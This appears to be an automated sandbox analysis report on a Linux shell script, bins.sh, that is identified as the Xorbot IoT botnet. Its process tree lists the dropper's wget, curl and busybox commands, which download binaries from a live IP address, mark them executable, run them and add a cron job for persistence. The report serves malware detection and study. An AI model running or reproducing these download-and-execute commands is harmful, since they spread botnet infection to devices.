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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/01/2025, 00:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1bd5b644e3bb808ff83c31f13c074f8b

  • SHA1

    9a6de7913518402e115726bc43dc8a0a503d07e1

  • SHA256

    b469f15b998e545a6b231632b65df6917f1078b4b7ec50923f77f1b6e1853bbb

  • SHA512

    d6b5b2d4ddd402da0a608ab982887cb1d8542fd1ba6c11b0930acd1bdc07f3d0ec292e535603f3ee66b849bbb2a06393faebcec78ced022841f3fb9530ff4b25

  • SSDEEP

    192:gR9zqKBlQMuRhoxHicMs5lkkTZcMs5lRR9zqKBUQMuRhD:E3QMuRhoxHicMs5lkkTZcMs5ljaQMuRt

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1603) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          ./gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/chmod
            chmod 777 rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • File and Directory Permissions Modification
            PID:762
          • /tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            ./rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
            2⤵
              PID:766
            • /usr/bin/wget
              wget http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Writes file to tmp directory
              PID:768
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Writes file to tmp directory
              PID:778
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Writes file to tmp directory
              PID:798
            • /bin/chmod
              chmod 777 wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              ./wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://66.63.187.225/bins/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Writes file to tmp directory
                PID:807
              • /bin/chmod
                chmod 777 FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • File and Directory Permissions Modification
                PID:815
              • /tmp/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                ./FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                • Executes dropped EXE
                PID:817
              • /bin/rm
                rm FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
                2⤵
                  PID:820
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Writes file to tmp directory
                  PID:835
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Writes file to tmp directory
                  PID:844
                • /bin/chmod
                  chmod 777 CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • File and Directory Permissions Modification
                  PID:845
                • /tmp/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  ./CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                  • Executes dropped EXE
                  PID:846
                • /bin/rm
                  rm CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG
                  2⤵
                    PID:848
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:850
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                    ./prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:853
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:855
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:856
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:857
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:858
                        • /bin/rm
                          rm prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz
                          2⤵
                            PID:860
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/oO1pZgHwT8GRAYySiTIspD8qQqNyOiOAkX
                            2⤵
                              PID:863

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/CcsC9XqWNjJI1njzU6p8zJwcSQrPI0auKG

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/prThsgL3NurRPPvLrKuOmV2J8mOfoz5rhz

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /var/spool/cron/crontabs/tmp.BOpMJq

                            Filesize

                            210B

                            MD5

                            18552b2323ce0c8d668a3640f37f0fac

                            SHA1

                            ab1e8cb192d131e0d3fd6cc9e3c094122db3106a

                            SHA256

                            05f8fd5cb9a534f445c3a3ca8e38daa51aaf76fb0186dfde4607e3b3172a1184

                            SHA512

                            72a7846040e971789624b780c1874b97ba0a93d27f54e15b8e07bbc2f125977c4661945416d4a5cf94e0d93236475ecc26d08a6b13c29c125b0def45fd20942e